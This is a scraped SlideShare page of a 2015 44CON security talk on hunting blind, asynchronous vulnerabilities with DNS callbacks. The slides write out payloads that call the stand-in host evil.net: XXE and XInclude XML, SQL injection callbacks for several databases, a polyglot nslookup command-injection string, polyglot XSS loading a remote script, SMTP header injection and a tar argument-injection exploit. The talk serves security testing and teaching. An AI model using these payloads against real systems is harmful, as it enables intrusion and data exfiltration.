44CON London 2015 - Hunting Asynchronous Vulnerabilities
3 likes956 views
This document discusses asynchronous vulnerabilities and callback-oriented hacking techniques. It describes how asynchronous issues are often invisible and outlines solutions using callbacks, such as through DNS requests. It provides examples of payload techniques for issues like SQL injection, command injection, and XSS that call out to an external domain to confirm exploitation. Finally, it notes hazards like friendly fire and ways adversaries may detect the callbacks.
![©PortSwigger
Ltd
2015
All
Rights
Reserved
<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
<!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
<!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
%remote;
]>
<root>
<foo>&xxe;</foo>
<x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
href="http://xi.evil.net/" ></x>
<y xmlns=http://a.b/
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://a.b/
http://schemalocation.evil.net/a.xsd">a</y>
</root>](https://image.slidesharecdn.com/huntingasynchronousvulnerabilities-150915153355-lva1-app6891/85/44CON-London-2015-Hunting-Asynchronous-Vulnerabilities-11-320.jpg)
![©PortSwigger
Ltd
2015
All
Rights
Reserved
SQLi:
ORACLE
• UTL_HTTP,
UTL_TCP,
UTL_SMTP,
UTL_INADDR,
UTL_FILE…
• Require
assorted
privileges
• SELECT extractvalue(xmltype('<?xml version="1.0"
encoding="UTF-‐8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM
"http://evil.net/"> %remote;]>'),'/l')
• From
https://bog.netspi.com/advisory-‐xxe-‐injection-‐oracle-‐database-‐cve-‐2014-‐
6577/
• No
privileges
required!
• Patched
eventually](https://image.slidesharecdn.com/huntingasynchronousvulnerabilities-150915153355-lva1-app6891/85/44CON-London-2015-Hunting-Asynchronous-Vulnerabilities-15-320.jpg)
![©PortSwigger
Ltd
2015
All
Rights
Reserved
POLYGLOT
XSS
• “One
vector
to
rule
them
all”
by
@garethheyes
javascript:/*--
>]]>%>?></script></title></textarea></noscript></style></xmp>">
[img=1,name=/alert(1)/.source]<img -
/style=a:expression(/*'/-
/*',/**/eval(name)/*%2A///*///);width:100%;height:100%;p
osition:absolute;-ms-behavior:url(#default#time2) name=alert(1)
onerror=eval(name) src=1 autofocus onfocus=eval(name)
onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)
background=javascript:eval(name)//>"
•Problems:
• Length
• Fragile](https://image.slidesharecdn.com/huntingasynchronousvulnerabilities-150915153355-lva1-app6891/85/44CON-London-2015-Hunting-Asynchronous-Vulnerabilities-25-320.jpg)
![©PortSwigger
Ltd
2015
All
Rights
Reserved
PROOF
OF
EXPLOIT
Scenario:
you
can
upload
[anything].jpg
Hypothesis:
images
archived
with
'tar [options] *'
The
exploit:
-‐-‐use-‐compress-‐program=nslookup evil.net -‐domain=a.jpg
Variants
exist
for
targeting
zip,
rsync,
etc](https://image.slidesharecdn.com/huntingasynchronousvulnerabilities-150915153355-lva1-app6891/85/44CON-London-2015-Hunting-Asynchronous-Vulnerabilities-28-320.jpg)
![[ENG] OHM2013 - The Quest for the Client-Side Elixir Against Zombie Browsers -](https://cdn.slidesharecdn.com/ss_thumbnails/ohmquest-130827053519-phpapp01-thumbnail.jpg?width=560&fit=bounds)
Ad
More Related Content
What's hot (20)
Viewers also liked (20)
Ad
Similar to 44CON London 2015 - Hunting Asynchronous Vulnerabilities (20)
![[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...](https://cdn.slidesharecdn.com/ss_thumbnails/day1-04-140412114404-phpapp02-thumbnail.jpg?width=560&fit=bounds)
Ad
More from 44CON (16)
Recently uploaded (20)
44CON London 2015 - Hunting Asynchronous Vulnerabilities
- 2. ©PortSwigger Ltd 2015 All Rights Reserved From: no-‐[email protected] To: James Kettle Subject: Order: 103092185 Hi test, Thank you for your recent order… Description Quantity Price VAT Total Leather Jacket 1 £824.33 £164.87 £989.20 THE CLASSICAL CALLBACK
- 3. ©PortSwigger Ltd 2015 All Rights Reserved OVERVIEW •The asynchronous problem •Callback oriented hacking • Direct -‐ XML/SQL • Chained -‐ SQL • Destructive -‐ SQL • Polyglot -‐ OS/XSS • Interactive • Hazards • Q&A
- 4. ©PortSwigger Ltd 2015 All Rights Reserved THE ASYNCHRONOUS PROBLEM •Many asynchronous vulnerabilities are invisible Visible errors Result output Time side-‐channel ✘ ✘ ✘
- 5. ©PortSwigger Ltd 2015 All Rights Reserved •Blind + background thread •Nightly cronjob •Blind + event-‐triggered •Second order SQLi, command injection… •Blind XSS •Blind + no time delay •Blind XXE, XPath… THE ASYNCHRONOUS PROBLEM
- 6. ©PortSwigger Ltd 2015 All Rights Reserved THE ASYNCHRONOUS SOLUTION •Callbacks! •Why DNS? • Rarely filtered outbound • Underpins most network protocols
- 8. ©PortSwigger Ltd 2015 All Rights Reserved THE INDOMITABLE PAYLOAD •Callback exploits fail hard •Quality of Payload is crucial •Environment-‐insensitive •Multi context (aka “polyglot”) •Filter-‐resistant •Simple.
- 9. ©PortSwigger Ltd 2015 All Rights Reserved SMTP HEADER INJECTION foo%0ABCC: [email protected] Website Attacker User
- 10. ©PortSwigger Ltd 2015 All Rights Reserved SMTP HEADER INJECTION %0AReply-‐To: [email protected]%0A%0A<zip_bomb> Website Attacker User
- 11. ©PortSwigger Ltd 2015 All Rights Reserved <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://xi.evil.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://schemalocation.evil.net/a.xsd">a</y> </root>
- 12. ©PortSwigger Ltd 2015 All Rights Reserved SQLi: POSTGRES copy (select '') to program 'nslookup evil.net'
- 13. ©PortSwigger Ltd 2015 All Rights Reserved SQLi: SQLITE3 • ;attach database '//evil.net/z' as 'z'-- - • Windows only • Requires batched queries • Can also be used to create files • (SELECT load_extension('//foo')) • Windows only • Frequently disabled • By @0x7674
- 14. ©PortSwigger Ltd 2015 All Rights Reserved SQLi: MSSQL SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual'); • Requires 'ad hoc distributed queries' EXEC master.dbo.xp_fileexist 'evil.netfoo' • Requires sysadmin privs BULK INSERT mytable FROM 'evil.net$file'; • Requires bulk insert privs EXEC master.dbo.xp_dirtree 'evil.netfoo' • Checks privileges after DNS lookup
- 15. ©PortSwigger Ltd 2015 All Rights Reserved SQLi: ORACLE • UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE… • Require assorted privileges • SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-‐8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.net/"> %remote;]>'),'/l') • From https://bog.netspi.com/advisory-‐xxe-‐injection-‐oracle-‐database-‐cve-‐2014-‐ 6577/ • No privileges required! • Patched eventually
- 16. ©PortSwigger Ltd 2015 All Rights Reserved SQLi: MySQL • LOAD_FILE('evil.netfoo') • Windows only • SELECT … INTO OUTFILE 'evil.netfoo' • Windows only
- 17. ©PortSwigger Ltd 2015 All Rights Reserved WRITE-‐BASED CALLBACKS • Drop web shell • Requires path • Risky • Maildrop • Microsoft Outlook only • Printer spool • Requires employee credulity • Requires root • Bypasses outbound network filtering • Config files?
- 18. ©PortSwigger Ltd 2015 All Rights Reserved CONFIG File Name /etc/my.cnf /etc/mysql/my.cnf SYSCONFDIR/my.cnf $MYSQL_HOME/my.cnf ~/.my.cnf Command- Line Format --bind-address=addr Permitted Values Type string Default 0.0.0.0 “If addr is a host name, the server resolves the name to an IPv4 address and binds to that address.”
- 19. ©PortSwigger Ltd 2015 All Rights Reserved ASYNCHRONOUS COMMAND INJECTION •Bash: $ command arg1 input arg3 $ command arg1 'input' arg3 $ command arg1 "input" arg3 •Windows: >command arg1 input arg3 >command arg1 "input" arg3
- 20. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT COMMAND INJECTION
- 21. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT COMMAND INJECTION
- 22. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT COMMAND INJECTION
- 23. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT COMMAND INJECTION
- 24. ©PortSwigger Ltd 2015 All Rights Reserved &nslookup evil.net&'"`0&nslookup evil.net&`' bash : &nslookup evil.net&'"`0&nslookup evil.net&`' bash ": &nslookup evil.net&'"`0&nslookup evil.net&`' bash ': &nslookup evil.net&'"`0&nslookup evil.net&`' win : &nslookup evil.net&'"`0&nslookup evil.net&`' win ": &nslookup evil.net&'"`0&nslookup evil.net&`' Key: ignored context-‐breakoutdud-‐statement injected-‐command ignored
- 25. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT XSS • “One vector to rule them all” by @garethheyes javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>"> [img=1,name=/alert(1)/.source]<img - /style=a:expression(/*'/- /*',/**/eval(name)/*%2A///*///);width:100%;height:100%;p osition:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>" •Problems: • Length • Fragile
- 26. ©PortSwigger Ltd 2015 All Rights Reserved POLYGLOT XSS </script><svg/onload= '+/"/+/onmouseover=1/ +(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/evil.net/).slice(2), document.documentElement.appendChild(s))//'>
- 27. ©PortSwigger Ltd 2015 All Rights Reserved BLIND XSS • Sleepy Puppy • Allows custom script+payload injection • Webserver in docker container • https://github.com/Netflix/sleepy-‐puppy
- 28. ©PortSwigger Ltd 2015 All Rights Reserved PROOF OF EXPLOIT Scenario: you can upload [anything].jpg Hypothesis: images archived with 'tar [options] *' The exploit: -‐-‐use-‐compress-‐program=nslookup evil.net -‐domain=a.jpg Variants exist for targeting zip, rsync, etc
- 29. ©PortSwigger Ltd 2015 All Rights Reserved ---LIVE DEMO---
- 30. ©PortSwigger Ltd 2015 All Rights Reserved HAZARDS •Friendly fire •URL grepping •Scope
- 31. ©PortSwigger Ltd 2015 All Rights Reserved TAKE-‐AWAYS Asynchronous exploits fail silently Quality of Payload is crucial Invisible ⇏ unhackable @albinowax [email protected]